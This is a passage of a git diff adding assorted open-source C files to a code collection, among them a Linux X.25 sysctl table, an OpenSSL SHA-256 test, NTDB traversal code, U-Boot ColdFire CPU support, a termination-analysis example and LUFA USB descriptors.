+
+  /* Make sure biasprog is within bounds */
+  EFM_ASSERT(init->biasProg < 16);
+
+  /* Set control register. No need to set interrupt modes */
+  acmp->CTRL = (init->fullBias << _ACMP_CTRL_FULLBIAS_SHIFT)
+               | (init->halfBias << _ACMP_CTRL_HALFBIAS_SHIFT)
+               | (init->biasProg << _ACMP_CTRL_BIASPROG_SHIFT)
+               | (init->interruptOnFallingEdge << _ACMP_CTRL_IFALL_SHIFT)
+               | (init->interruptOnRisingEdge << _ACMP_CTRL_IRISE_SHIFT)
+               | (init->warmTime << _ACMP_CTRL_WARMTIME_SHIFT)
+               | (init->hysteresisLevel << _ACMP_CTRL_HYSTSEL_SHIFT)
+               | (init->inactiveValue << _ACMP_CTRL_INACTVAL_SHIFT);
+
+  acmp->INPUTSEL = (init->lowPowerReferenceEnabled << _ACMP_INPUTSEL_LPREF_SHIFT)
+                   | (init->vddLevel << _ACMP_INPUTSEL_VDDLEVEL_SHIFT);
+
+  /* Enable ACMP if requested.
+   * Note: BITBAND_Peripheral() function is used for setting/clearing single
+   * bit peripheral register bitfields. */
+  BITBAND_Peripheral(&(acmp->CTRL),
+                     (uint32_t)_ACMP_CTRL_EN_SHIFT,
+                     (uint32_t)init->enable);
+}
+
+
+/** @} (end addtogroup ACMP) */
+/** @} (end addtogroup EM_Library) */
+#endif /* defined(ACMP_COUNT) && (ACMP_COUNT > 0) */
diff --git a/pool/shard001/C/0024032_sysctl_net_x25.c b/pool/shard001/C/0024032_sysctl_net_x25.c
new file mode 100644
index 0000000000000000000000000000000000000000..6ebda25c24e96a4471ee7eb8aa3db69b2411075d
--- /dev/null
+++ b/pool/shard001/C/0024032_sysctl_net_x25.c
@@ -0,0 +1,101 @@
+/* -*- linux-c -*-
+ * sysctl_net_x25.c: sysctl interface to net X.25 subsystem.
+ *
+ * Begun April 1, 1996, Mike Shaver.
+ * Added /proc/sys/net/x25 directory entry (empty =) ). [MS]
+ */
+
+#include <linux/sysctl.h>
+#include <linux/skbuff.h>
+#include <linux/socket.h>
+#include <linux/netdevice.h>
+#include <linux/init.h>
+#include <net/x25.h>
+
+static int min_timer[] = {   1 * HZ };
+static int max_timer[] = { 300 * HZ };
+
+static struct ctl_table_header *x25_table_header;
+
+static struct ctl_table x25_table[] = {
+	{
+		.ctl_name =	NET_X25_RESTART_REQUEST_TIMEOUT,
+		.procname =	"restart_request_timeout",
+		.data =		&sysctl_x25_restart_request_timeout,
+		.maxlen =	sizeof(int),
+		.mode =		0644,
+		.proc_handler =	&proc_dointvec_minmax,
+		.strategy =	&sysctl_intvec,
+		.extra1 =	&min_timer,
+		.extra2 =	&max_timer,
+	},
+	{
+		.ctl_name =	NET_X25_CALL_REQUEST_TIMEOUT,
+		.procname =	"call_request_timeout",
+		.data =		&sysctl_x25_call_request_timeout,
+		.maxlen =	sizeof(int),
+		.mode =		0644,
+		.proc_handler =	&proc_dointvec_minmax,
+		.strategy =	&sysctl_intvec,
+		.extra1 =	&min_timer,
+		.extra2 =	&max_timer,
+	},
+	{
+		.ctl_name =	NET_X25_RESET_REQUEST_TIMEOUT,
+		.procname =	"reset_request_timeout",
+		.data =		&sysctl_x25_reset_request_timeout,
+		.maxlen =	sizeof(int),
+		.mode =		0644,
+		.proc_handler =	&proc_dointvec_minmax,
+		.strategy =	&sysctl_intvec,
+		.extra1 =	&min_timer,
+		.extra2 =	&max_timer,
+	},
+	{
+		.ctl_name =	NET_X25_CLEAR_REQUEST_TIMEOUT,
+		.procname =	"clear_request_timeout",
+		.data =		&sysctl_x25_clear_request_timeout,
+		.maxlen =	sizeof(int),
+		.mode =		0644,
+		.proc_handler =	&proc_dointvec_minmax,
+		.strategy =	&sysctl_intvec,
+		.extra1 =	&min_timer,
+		.extra2 =	&max_timer,
+	},
+	{
+		.ctl_name =	NET_X25_ACK_HOLD_BACK_TIMEOUT,
+		.procname =	"acknowledgement_hold_back_timeout",
+		.data =		&sysctl_x25_ack_holdback_timeout,
+		.maxlen =	sizeof(int),
+		.mode =		0644,
+		.proc_handler =	&proc_dointvec_minmax,
+		.strategy =	&sysctl_intvec,
+		.extra1 =	&min_timer,
+		.extra2 =	&max_timer,
+	},
+	{
+		.ctl_name =	NET_X25_FORWARD,
+		.procname =	"x25_forward",
+		.data = 	&sysctl_x25_forward,
+		.maxlen = 	sizeof(int),
+		.mode = 	0644,
+		.proc_handler = &proc_dointvec,
+	},
+	{ 0, },
+};
+
+static struct ctl_path x25_path[] = {
+	{ .procname = "net", .ctl_name = CTL_NET, },
+	{ .procname = "x25", .ctl_name = NET_X25, },
+	{ }
+};
+
+void __init x25_register_sysctl(void)
+{
+	x25_table_header = register_sysctl_paths(x25_path, x25_table);
+}
+
+void x25_unregister_sysctl(void)
+{
+	unregister_sysctl_table(x25_table_header);
+}
diff --git a/pool/shard001/C/0024034_sha256t.c b/pool/shard001/C/0024034_sha256t.c
new file mode 100644
index 0000000000000000000000000000000000000000..e1d34280aa0924fead00a0ec7ff960520e97e24e
--- /dev/null
+++ b/pool/shard001/C/0024034_sha256t.c
@@ -0,0 +1,151 @@
+/* crypto/sha/sha256t.c */
+/* ====================================================================
+ * Copyright (c) 2004 The OpenSSL Project.  All rights reserved.
+ * ====================================================================
+ */
+#include <stdio.h>
+#include <string.h>
+#include <stdlib.h>
+
+#include <openssl/sha.h>
+#include <openssl/evp.h>
+
+#if defined(OPENSSL_NO_SHA) || defined(OPENSSL_NO_SHA256)
+int main(int argc, char *argv[])
+{
+    printf("No SHA256 support\n");
+    return(0);
+}
+#else
+
+unsigned char app_b1[SHA256_DIGEST_LENGTH] = {
+	0xba,0x78,0x16,0xbf,0x8f,0x01,0xcf,0xea,
+	0x41,0x41,0x40,0xde,0x5d,0xae,0x22,0x23,
+	0xb0,0x03,0x61,0xa3,0x96,0x17,0x7a,0x9c,
+	0xb4,0x10,0xff,0x61,0xf2,0x00,0x15,0xad	};
+
+unsigned char app_b2[SHA256_DIGEST_LENGTH] = {
+	0x24,0x8d,0x6a,0x61,0xd2,0x06,0x38,0xb8,
+	0xe5,0xc0,0x26,0x93,0x0c,0x3e,0x60,0x39,
+	0xa3,0x3c,0xe4,0x59,0x64,0xff,0x21,0x67,
+	0xf6,0xec,0xed,0xd4,0x19,0xdb,0x06,0xc1	};
+
+unsigned char app_b3[SHA256_DIGEST_LENGTH] = {
+	0xcd,0xc7,0x6e,0x5c,0x99,0x14,0xfb,0x92,
+	0x81,0xa1,0xc7,0xe2,0x84,0xd7,0x3e,0x67,
+	0xf1,0x80,0x9a,0x48,0xa4,0x97,0x20,0x0e,
+	0x04,0x6d,0x39,0xcc,0xc7,0x11,0x2c,0xd0	};
+
+unsigned char addenum_1[SHA224_DIGEST_LENGTH] = {
+	0x23,0x09,0x7d,0x22,0x34,0x05,0xd8,0x22,
+	0x86,0x42,0xa4,0x77,0xbd,0xa2,0x55,0xb3,
+	0x2a,0xad,0xbc,0xe4,0xbd,0xa0,0xb3,0xf7,
+	0xe3,0x6c,0x9d,0xa7 };
+
+unsigned char addenum_2[SHA224_DIGEST_LENGTH] = {
+	0x75,0x38,0x8b,0x16,0x51,0x27,0x76,0xcc,
+	0x5d,0xba,0x5d,0xa1,0xfd,0x89,0x01,0x50,
+	0xb0,0xc6,0x45,0x5c,0xb4,0xf5,0x8b,0x19,
+	0x52,0x52,0x25,0x25 };
+
+unsigned char addenum_3[SHA224_DIGEST_LENGTH] = {
+	0x20,0x79,0x46,0x55,0x98,0x0c,0x91,0xd8,
+	0xbb,0xb4,0xc1,0xea,0x97,0x61,0x8a,0x4b,
+	0xf0,0x3f,0x42,0x58,0x19,0x48,0xb2,0xee,
+	0x4e,0xe7,0xad,0x67 };
+
+int main (int argc,char **argv)
+{ unsigned char md[SHA256_DIGEST_LENGTH];
+  int		i;
+  EVP_MD_CTX	evp;
+
+    fprintf(stdout,"Testing SHA-256 ");
+
+    EVP_Digest ("abc",3,md,NULL,EVP_sha256(),NULL);
+    if (memcmp(md,app_b1,sizeof(app_b1)))
+    {	fflush(stdout);
+	fprintf(stderr,"\nTEST 1 of 3 failed.\n");
+	return 1;
+    }
+    else
+	fprintf(stdout,"."); fflush(stdout);
+
+    EVP_Digest ("abcdbcde""cdefdefg""efghfghi""ghijhijk"
+		"ijkljklm""klmnlmno""mnopnopq",56,md,NULL,EVP_sha256(),NULL);
+    if (memcmp(md,app_b2,sizeof(app_b2)))
+    {	fflush(stdout);
+	fprintf(stderr,"\nTEST 2 of 3 failed.\n");
+	return 1;
+    }
+    else
+	fprintf(stdout,"."); fflush(stdout);
+
+    EVP_MD_CTX_init (&evp);
+    EVP_DigestInit_ex (&evp,EVP_sha256(),NULL);
+    for (i=0;i<1000000;i+=288)
+	EVP_DigestUpdate (&evp,	"aaaaaaaa""aaaaaaaa""aaaaaaaa""aaaaaaaa"
+				"aaaaaaaa""aaaaaaaa""aaaaaaaa""aaaaaaaa"
+				"aaaaaaaa""aaaaaaaa""aaaaaaaa""aaaaaaaa"
+				"aaaaaaaa""aaaaaaaa""aaaaaaaa""aaaaaaaa"
+				"aaaaaaaa""aaaaaaaa""aaaaaaaa""aaaaaaaa"
+				"aaaaaaaa""aaaaaaaa""aaaaaaaa""aaaaaaaa"
+				"aaaaaaaa""aaaaaaaa""aaaaaaaa""aaaaaaaa"
+				"aaaaaaaa""aaaaaaaa""aaaaaaaa""aaaaaaaa"
+				"aaaaaaaa""aaaaaaaa""aaaaaaaa""aaaaaaaa",
+				(1000000-i)<288?1000000-i:288);
+    EVP_DigestFinal_ex (&evp,md,NULL);
+    EVP_MD_CTX_cleanup (&evp);
+
+    if (memcmp(md,app_b3,sizeof(app_b3)))
+    {	fflush(stdout);
+	fprintf(stderr,"\nTEST 3 of 3 failed.\n");
+	return 1;
+    }
+    else
+	fprintf(stdout,"."); fflush(stdout);
+
+    fprintf(stdout," passed.\n"); fflush(stdout);
+
+    fprintf(stdout,"Testing SHA-224 ");
+
+    EVP_Digest ("abc",3,md,NULL,EVP_sha224(),NULL);
+    if (memcmp(md,addenum_1,sizeof(addenum_1)))
+    {	fflush(stdout);
+	fprintf(stderr,"\nTEST 1 of 3 failed.\n");
+	return 1;
+    }
+    else
+	fprintf(stdout,"."); fflush(stdout);
+
+    EVP_Digest ("abcdbcde""cdefdefg""efghfghi""ghijhijk"
+		"ijkljklm""klmnlmno""mnopnopq",56,md,NULL,EVP_sha224(),NULL);
+    if (memcmp(md,addenum_2,sizeof(addenum_2)))
+    {	fflush(stdout);
+	fprintf(stderr,"\nTEST 2 of 3 failed.\n");
+	return 1;
+    }
+    else
+	fprintf(stdout,"."); fflush(stdout);
+
+    EVP_MD_CTX_init (&evp);
+    EVP_DigestInit_ex (&evp,EVP_sha224(),NULL);
+    for (i=0;i<1000000;i+=64)
+	EVP_DigestUpdate (&evp,	"aaaaaaaa""aaaaaaaa""aaaaaaaa""aaaaaaaa"
+				"aaaaaaaa""aaaaaaaa""aaaaaaaa""aaaaaaaa",
+				(1000000-i)<64?1000000-i:64);
+    EVP_DigestFinal_ex (&evp,md,NULL);
+    EVP_MD_CTX_cleanup (&evp);
+
+    if (memcmp(md,addenum_3,sizeof(addenum_3)))
+    {	fflush(stdout);
+	fprintf(stderr,"\nTEST 3 of 3 failed.\n");
+	return 1;
+    }
+    else
+	fprintf(stdout,"."); fflush(stdout);
+
+    fprintf(stdout," passed.\n"); fflush(stdout);
+
+  return 0;
+}
+#endif
diff --git a/pool/shard001/C/0024039_traverse.c b/pool/shard001/C/0024039_traverse.c
new file mode 100644
index 0000000000000000000000000000000000000000..2e6763cbddbe8d763a149123aa42197e939c0458
--- /dev/null
+++ b/pool/shard001/C/0024039_traverse.c
@@ -0,0 +1,100 @@
+ /*
+   Trivial Database 2: traverse function.
+   Copyright (C) Rusty Russell 2010
+
+   This library is free software; you can redistribute it and/or
+   modify it under the terms of the GNU Lesser General Public
+   License as published by the Free Software Foundation; either
+   version 3 of the License, or (at your option) any later version.
+
+   This library is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+   Lesser General Public License for more details.
+
+   You should have received a copy of the GNU Lesser General Public
+   License along with this library; if not, see <http://www.gnu.org/licenses/>.
+*/
+#include "private.h"
+#include <ccan/likely/likely.h>
+
+_PUBLIC_ int64_t ntdb_traverse_(struct ntdb_context *ntdb,
+		      int (*fn)(struct ntdb_context *,
+				NTDB_DATA, NTDB_DATA, void *),
+		      void *p)
+{
+	enum NTDB_ERROR ecode;
+	struct hash_info h;
+	NTDB_DATA k, d;
+	int64_t count = 0;
+
+	k.dptr = NULL;
+	for (ecode = first_in_hash(ntdb, &h, &k, &d.dsize);
+	     ecode == NTDB_SUCCESS;
+	     ecode = next_in_hash(ntdb, &h, &k, &d.dsize)) {
+		d.dptr = k.dptr + k.dsize;
+
+		count++;
+		if (fn && fn(ntdb, k, d, p)) {
+			ntdb->free_fn(k.dptr, ntdb->alloc_data);
+			return count;
+		}
+		ntdb->free_fn(k.dptr, ntdb->alloc_data);
+	}
+
+	if (ecode != NTDB_ERR_NOEXIST) {
+		return NTDB_ERR_TO_OFF(ecode);
+	}
+	return count;
+}
+
+_PUBLIC_ enum NTDB_ERROR ntdb_firstkey(struct ntdb_context *ntdb, NTDB_DATA *key)
+{
+	struct hash_info h;
+
+	return first_in_hash(ntdb, &h, key, NULL);
+}
+
+/* We lock twice, not very efficient.  We could keep last key & h cached. */
+_PUBLIC_ enum NTDB_ERROR ntdb_nextkey(struct ntdb_context *ntdb, NTDB_DATA *key)
+{
+	struct hash_info h;
+	struct ntdb_used_record rec;
+	ntdb_off_t off;
+
+	off = find_and_lock(ntdb, *key, F_RDLCK, &h, &rec, NULL);
+	ntdb->free_fn(key->dptr, ntdb->alloc_data);
+	if (NTDB_OFF_IS_ERR(off)) {
+		return NTDB_OFF_TO_ERR(off);
+	}
+	ntdb_unlock_hash(ntdb, h.h, F_RDLCK);
+
+	/* If we found something, skip to next. */
+	if (off)
+		h.bucket++;
+	return next_in_hash(ntdb, &h, key, NULL);
+}
+
+static int wipe_one(struct ntdb_context *ntdb,
+		    NTDB_DATA key, NTDB_DATA data, enum NTDB_ERROR *ecode)
+{
+	*ecode = ntdb_delete(ntdb, key);
+	return (*ecode != NTDB_SUCCESS);
+}
+
+_PUBLIC_ enum NTDB_ERROR ntdb_wipe_all(struct ntdb_context *ntdb)
+{
+	enum NTDB_ERROR ecode;
+	int64_t count;
+
+	ecode = ntdb_allrecord_lock(ntdb, F_WRLCK, NTDB_LOCK_WAIT, false);
+	if (ecode != NTDB_SUCCESS)
+		return ecode;
+
+	/* FIXME: Be smarter. */
+	count = ntdb_traverse(ntdb, wipe_one, &ecode);
+	if (count < 0)
+		ecode = NTDB_OFF_TO_ERR(count);
+	ntdb_allrecord_unlock(ntdb, F_WRLCK);
+	return ecode;
+}
diff --git a/pool/shard001/C/0024045_cpu.c b/pool/shard001/C/0024045_cpu.c
new file mode 100644
index 0000000000000000000000000000000000000000..56e5585e09e3aedac73d39c562d1d3020e97d9a7
--- /dev/null
+++ b/pool/shard001/C/0024045_cpu.c
@@ -0,0 +1,115 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ *
+ * (C) Copyright 2000-2003
+ * Wolfgang Denk, DENX Software Engineering, wd@denx.de.
+ *
+ * Copyright (C) 2004-2007, 2012 Freescale Semiconductor, Inc.
+ * TsiChung Liew (Tsi-Chung.Liew@freescale.com)
+ */
+
+#include <common.h>
+#include <watchdog.h>
+#include <command.h>
+#include <netdev.h>
+
+#include <asm/immap.h>
+#include <asm/io.h>
+
+DECLARE_GLOBAL_DATA_PTR;
+
+int do_reset(cmd_tbl_t *cmdtp, int flag, int argc, char * const argv[])
+{
+	rcm_t *rcm = (rcm_t *) (MMAP_RCM);
+	udelay(1000);
+	out_8(&rcm->rcr, RCM_RCR_FRCRSTOUT);
+	udelay(10000);
+	setbits_8(&rcm->rcr, RCM_RCR_SOFTRST);
+
+	/* we don't return! */
+	return 0;
+};
+
+#if defined(CONFIG_DISPLAY_CPUINFO)
+int print_cpuinfo(void)
+{
+	ccm_t *ccm = (ccm_t *) MMAP_CCM;
+	u16 msk;
+	u16 id = 0;
+	u8 ver;
+
+	puts("CPU:   ");
+	msk = (in_be16(&ccm->cir) >> 6);
+	ver = (in_be16(&ccm->cir) & 0x003f);
+	switch (msk) {
+	case 0x48:
+		id = 54455;
+		break;
+	case 0x49:
+		id = 54454;
+		break;
+	case 0x4a:
+		id = 54453;
+		break;
+	case 0x4b:
+		id = 54452;
+		break;
+	case 0x4d:
+		id = 54451;
+		break;
+	case 0x4f:
+		id = 54450;
+		break;
+	case 0x9F:
+		id = 54410;
+		break;
+	case 0xA0:
+		id = 54415;
+		break;
+	case 0xA1:
+		id = 54416;
+		break;
+	case 0xA2:
+		id = 54417;
+		break;
+	case 0xA3:
+		id = 54418;
+		break;
+	}
+
+	if (id) {
+		char buf1[32], buf2[32], buf3[32];
+
+		printf("Freescale MCF%d (Mask:%01x Version:%x)\n", id, msk,
+		       ver);
+		printf("       CPU CLK %s MHz BUS CLK %s MHz FLB CLK %s MHz\n",
+		       strmhz(buf1, gd->cpu_clk),
+		       strmhz(buf2, gd->bus_clk),
+		       strmhz(buf3, gd->arch.flb_clk));
+#ifdef CONFIG_PCI
+		printf("       PCI CLK %s MHz INP CLK %s MHz VCO CLK %s MHz\n",
+		       strmhz(buf1, gd->pci_clk),
+		       strmhz(buf2, gd->arch.inp_clk),
+		       strmhz(buf3, gd->arch.vco_clk));
+#else
+		printf("       INP CLK %s MHz VCO CLK %s MHz\n",
+		       strmhz(buf1, gd->arch.inp_clk),
+		       strmhz(buf2, gd->arch.vco_clk));
+#endif
+	}
+
+	return 0;
+}
+#endif /* CONFIG_DISPLAY_CPUINFO */
+
+#if defined(CONFIG_MCFFEC)
+/* Default initializations for MCFFEC controllers.  To override,
+ * create a board-specific function called:
+ * 	int board_eth_init(bd_t *bis)
+ */
+
+int cpu_eth_init(bd_t *bis)
+{
+	return mcffec_initialize(bis);
+}
+#endif
diff --git a/pool/shard001/C/0024051_LeeJonesBen-Amram-POPL2001-Ex4_true-termination.c b/pool/shard001/C/0024051_LeeJonesBen-Amram-POPL2001-Ex4_true-termination.c
new file mode 100644
index 0000000000000000000000000000000000000000..50d8111eba14f36bfd84c634dd0a4d40a85e11d2
--- /dev/null
+++ b/pool/shard001/C/0024051_LeeJonesBen-Amram-POPL2001-Ex4_true-termination.c
@@ -0,0 +1,32 @@
+/*
+ * Program from Ex.4 of
+ * 2001POPL - Lee,Jones,Ben-Amram - The size-change principle for program termination
+ *
+ * Date: 12.12.2013
+ * Author: heizmann@informatik.uni-freiburg.de
+ *
+ */
+
+extern int __VERIFIER_nondet_int(void);
+
+int p(int m, int n, int r) {
+	if (r > 0) {
+		return p(m, r-1, n);
+	} else {
+		if (n > 0) {
+			return p(r, n-1, m);
+		} else {
+			return m;
+		}
+	}
+}
+
+int main() {
+	int m = __VERIFIER_nondet_int();
+	int n = __VERIFIER_nondet_int();
+	int r = __VERIFIER_nondet_int();
+	if ( m >= 0 && n >= 0 && r >= 0) {
+		p(m,n,r);
+	}
+	return 0;
+}
diff --git a/pool/shard001/C/0024061_Descriptors.c b/pool/shard001/C/0024061_Descriptors.c
new file mode 100644
index 0000000000000000000000000000000000000000..afbb4c765cc2263b7f504e0157ce7d35ed4f6953
--- /dev/null
+++ b/pool/shard001/C/0024061_Descriptors.c
@@ -0,0 +1,271 @@
+/*
+             LUFA Library
+     Copyright (C) Dean Camera, 2011.
+
+  dean [at] fourwalledcubicle [dot] com
+           www.lufa-lib.org
+*/
+
+/*
+  Copyright 2011  Dean Camera (dean [at] fourwalledcubicle [dot] com)
+
+  Permission to use, copy, modify, distribute, and sell this
+  software and its documentation for any purpose is hereby granted
+  without fee, provided that the above copyright notice appear in
+  all copies and that both that the copyright notice and this
+  permission notice and warranty disclaimer appear in supporting
+  documentation, and that the name of the author not be used in
+  advertising or publicity pertaining to distribution of the
+  software without specific, written prior permission.
+
+  The author disclaim all warranties with regard to this
+  software, including all implied warranties of merchantability
+  and fitness.  In no event shall the author be liable for any
+  special, indirect or consequential damages or any damages
+  whatsoever resulting from loss of use, data or profits, whether
+  in an action of contract, negligence or other tortious action,
+  arising out of or in connection with the use or performance of
+  this software.
+*/
+
+/** \file
+ *
+ *  USB Device Descriptors, for library use when in USB device mode. Descriptors are special
+ *  computer-readable structures which the host requests upon device enumeration, to determine
+ *  the device's capabilities and functions.
+ */
+
+#include "Descriptors.h"
+
+/* On some devices, there is a factory set internal serial number which can be automatically sent to the host as
+ * the device's serial number when the Device Descriptor's .SerialNumStrIndex entry is set to USE_INTERNAL_SERIAL.
+ * This allows the host to track a device across insertions on different ports, allowing them to retain allocated
+ * resources like COM port numbers and drivers. On demos using this feature, give a warning on unsupported devices
+ * so that the user can supply their own serial number descriptor instead or remove the USE_INTERNAL_SERIAL value
+ * from the Device Descriptor (forcing the host to generate a serial number for each device from the VID, PID and
+ * port location).
+ */
+#if (USE_INTERNAL_SERIAL == NO_DESCRIPTOR)
+	#warning USE_INTERNAL_SERIAL is not available on this AVR - please manually construct a device serial descriptor.
+#endif
+
+/** Device descriptor structure. This descriptor, located in FLASH memory, describes the overall
+ *  device characteristics, including the supported USB version, control endpoint size and the
+ *  number of device configurations. The descriptor is read out by the USB host when the enumeration
+ *  process begins.
+ */
+const USB_Descriptor_Device_t PROGMEM DeviceDescriptor =
+{
+	.Header                 = {.Size = sizeof(USB_Descriptor_Device_t), .Type = DTYPE_Device},
+
+	.USBSpecification       = VERSION_BCD(01.10),
+	.Class                  = CDC_CSCP_CDCClass,
+	.SubClass               = CDC_CSCP_NoSpecificSubclass,
+	.Protocol               = CDC_CSCP_NoSpecificProtocol,
+
+	.Endpoint0Size          = FIXED_CONTROL_ENDPOINT_SIZE,
+
+	.VendorID               = 0x03EB,
+	.ProductID              = 0x2044,
+	.ReleaseNumber          = VERSION_BCD(00.01),
+
+	.ManufacturerStrIndex   = 0x01,
+	.ProductStrIndex        = 0x02,
+	.SerialNumStrIndex      = USE_INTERNAL_SERIAL,
+
+	.NumberOfConfigurations = FIXED_NUM_CONFIGURATIONS
+};
+
+/** Configuration descriptor structure. This descriptor, located in FLASH memory, describes the usage
+ *  of the device in one of its supported configurations, including information about any device interfaces
+ *  and endpoints. The descriptor is read out by the USB host during the enumeration process when selecting
+ *  a configuration so that the host may correctly communicate with the USB device.
+ */
+const USB_Descriptor_Configuration_t PROGMEM ConfigurationDescriptor =
+{
+	.Config =
+		{
+			.Header                 = {.Size = sizeof(USB_Descriptor_Configuration_Header_t), .Type = DTYPE_Configuration},
+
+			.TotalConfigurationSize = sizeof(USB_Descriptor_Configuration_t),
+			.TotalInterfaces        = 2,
+
+			.ConfigurationNumber    = 1,
+			.ConfigurationStrIndex  = NO_DESCRIPTOR,
+
+			.ConfigAttributes       = (USB_CONFIG_ATTR_BUSPOWERED | USB_CONFIG_ATTR_SELFPOWERED),
+
+			.MaxPowerConsumption    = USB_CONFIG_POWER_MA(100)
+		},
+
+	.CDC_CCI_Interface =
+		{
+			.Header                 = {.Size = sizeof(USB_Descriptor_Interface_t), .Type = DTYPE_Interface},
+
+			.InterfaceNumber        = 0,
+			.AlternateSetting       = 0,
+
+			.TotalEndpoints         = 1,
+
+			.Class                  = CDC_CSCP_CDCClass,
+			.SubClass               = CDC_CSCP_ACMSubclass,
+			.Protocol               = CDC_CSCP_ATCommandProtocol,
+
+			.InterfaceStrIndex      = NO_DESCRIPTOR
+		},
+
+	.CDC_Functional_Header =
+		{
+			.Header                 = {.Size = sizeof(USB_CDC_Descriptor_FunctionalHeader_t), .Type = DTYPE_CSInterface},
+			.Subtype                = CDC_DSUBTYPE_CSInterface_Header,
+
+			.CDCSpecification       = VERSION_BCD(01.10),
+		},
+
+	.CDC_Functional_ACM =
+		{
+			.Header                 = {.Size = sizeof(USB_CDC_Descriptor_FunctionalACM_t), .Type = DTYPE_CSInterface},
+			.Subtype                = CDC_DSUBTYPE_CSInterface_ACM,
+
+			.Capabilities           = 0x06,
+		},
+
+	.CDC_Functional_Union =
+		{
+			.Header                 = {.Size = sizeof(USB_CDC_Descriptor_FunctionalUnion_t), .Type = DTYPE_CSInterface},
+			.Subtype                = CDC_DSUBTYPE_CSInterface_Union,
+
+			.MasterInterfaceNumber  = 0,
+			.SlaveInterfaceNumber   = 1,
+		},
+
+	.CDC_NotificationEndpoint =
+		{
+			.Header                 = {.Size = sizeof(USB_Descriptor_Endpoint_t), .Type = DTYPE_Endpoint},
+
+			.EndpointAddress        = (ENDPOINT_DIR_IN | CDC_NOTIFICATION_EPNUM),
+			.Attributes             = (EP_TYPE_INTERRUPT | ENDPOINT_ATTR_NO_SYNC | ENDPOINT_USAGE_DATA),
+			.EndpointSize           = CDC_NOTIFICATION_EPSIZE,
+			.PollingIntervalMS      = 0xFF
+		},
+
+	.CDC_DCI_Interface =
+		{
+			.Header                 = {.Size = sizeof(USB_Descriptor_Interface_t), .Type = DTYPE_Interface},
+
+			.InterfaceNumber        = 1,
+			.AlternateSetting       = 0,
+
+			.TotalEndpoints         = 2,
+
+			.Class                  = CDC_CSCP_CDCDataClass,
+			.SubClass               = CDC_CSCP_NoDataSubclass,
+			.Protocol               = CDC_CSCP_NoDataProtocol,
+
+			.InterfaceStrIndex      = NO_DESCRIPTOR
+		},
+
+	.CDC_DataOutEndpoint =
+		{
+			.Header                 = {.Size = sizeof(USB_Descriptor_Endpoint_t), .Type = DTYPE_Endpoint},
+
+			.EndpointAddress        = (ENDPOINT_DIR_OUT | CDC_RX_EPNUM),
+			.Attributes             = (EP_TYPE_BULK | ENDPOINT_ATTR_NO_SYNC | ENDPOINT_USAGE_DATA),
+			.EndpointSize           = CDC_TXRX_EPSIZE,
+			.PollingIntervalMS      = 0x01
+		},
+
+	.CDC_DataInEndpoint =
+		{
+			.Header                 = {.Size = sizeof(USB_Descriptor_Endpoint_t), .Type = DTYPE_Endpoint},
+
+			.EndpointAddress        = (ENDPOINT_DIR_IN | CDC_TX_EPNUM),
+			.Attributes             = (EP_TYPE_BULK | ENDPOINT_ATTR_NO_SYNC | ENDPOINT_USAGE_DATA),
+			.EndpointSize           = CDC_TXRX_EPSIZE,
+			.PollingIntervalMS      = 0x01
+		}
+};
+
+/** Language descriptor structure. This descriptor, located in FLASH memory, is returned when the host requests
+ *  the string descriptor with index 0 (the first index). It is actually an array of 16-bit integers, which indicate
+ *  via the language ID table available at USB.org what languages the device supports for its string descriptors.
+ */
+const USB_Descriptor_String_t PROGMEM LanguageString =
+{
+	.Header                 = {.Size = USB_STRING_LEN(1), .Type = DTYPE_String},
+
+	.UnicodeString          = {LANGUAGE_ID_ENG}
+};
+
+/** Manufacturer descriptor string. This is a Unicode string containing the manufacturer's details in human readable
+ *  form, and is read out upon request by the host when the appropriate string ID is requested, listed in the Device
+ *  Descriptor.
+ */
+const USB_Descriptor_String_t PROGMEM ManufacturerString =
+{
+	.Header                 = {.Size = USB_STRING_LEN(11), .Type = DTYPE_String},
+
+	.UnicodeString          = L"Dean Camera"
+};
+
+/** Product descriptor string. This is a Unicode string containing the product's details in human readable form,
+ *  and is read out upon request by the host when the appropriate string ID is requested, listed in the Device
+ *  Descriptor.
+ */
+const USB_Descriptor_String_t PROGMEM ProductString =
+{
+	.Header                 = {.Size = USB_STRING_LEN(13), .Type = DTYPE_String},
+
+	.UnicodeString          = L"LUFA CDC Demo"
+};
+
+/** This function is called by the library when in device mode, and must be overridden (see library "USB Descriptors"
+ *  documentation) by the application code so that the address and size of a requested descriptor can be given
+ *  to the USB library. When the device receives a Get Descriptor request on the control endpoint, this function
+ *  is called so that the descriptor details can be passed back and the appropriate descriptor sent back to the
+ *  USB host.
+ */
+uint16_t CALLBACK_USB_GetDescriptor(const uint16_t wValue,
+                                    const uint8_t wIndex,
+                                    const void** const DescriptorAddress)
+{
+	const uint8_t  DescriptorType   = (wValue >> 8);
+	const uint8_t  DescriptorNumber = (wValue & 0xFF);
+
+	const void* Address = NULL;
+	uint16_t    Size    = NO_DESCRIPTOR;
+
+	switch (DescriptorType)
+	{
+		case DTYPE_Device:
+			Address = &DeviceDescriptor;
+			Size    = sizeof(USB_Descriptor_Device_t);
+			break;
+		case DTYPE_Configuration:
+			Address = &ConfigurationDescriptor;
+			Size    = sizeof(USB_Descriptor_Configuration_t);
+			break;
+		case DTYPE_String:
+			switch (DescriptorNumber)
+			{
+				case 0x00:
+					Address = &LanguageString;
+					Size    = pgm_read_byte(&LanguageString.Header.Size);
+					break;
+				case 0x01:
+					Address = &ManufacturerString;
+					Size    = pgm_read_byte(&ManufacturerString.Header.Size);
+					break;
+				case 0x02:
+					Address = &ProductString;
+					Size    = pgm_read_byte(&ProductString.Header.Size);
+					break;
+			}
+
+			break;
+	}
+
+	*DescriptorAddress = Address;
+	return Size;
+}
+
diff --git a/pool/shard001/C/0024079_ModuleCmd_Purge.c b/pool/shard001/C/0024079_ModuleCmd_Purge.c
new file mode 100644
index 0000000000000000000000000000000000000000..1885f23f13813f94ad881a6e9b3a19cf124a60fa
--- /dev/null
+++ b/pool/shard001/C/0024079_ModuleCmd_Purge.c
@@ -0,0 +1,159 @@
+/*****
+ ** ** Module Header ******************************************************* **
+ ** 									     **
+ **   Modules Revision 3.0						     **
+ **   Providing a flexible user environment				     **
+ ** 									     **
+ **   File:		ModuleCmd_Purge.c				     **
+ **   First Edition:	1991/10/23					     **
+ ** 									     **
+ **   Authors:	John Furlan, jlf@behere.com				     **
+ **		Jens Hamisch, jens@Strawberry.COM			     **
+ ** 									     **
+ **   Description:	Removes all loaded modulefiles from the environment. **
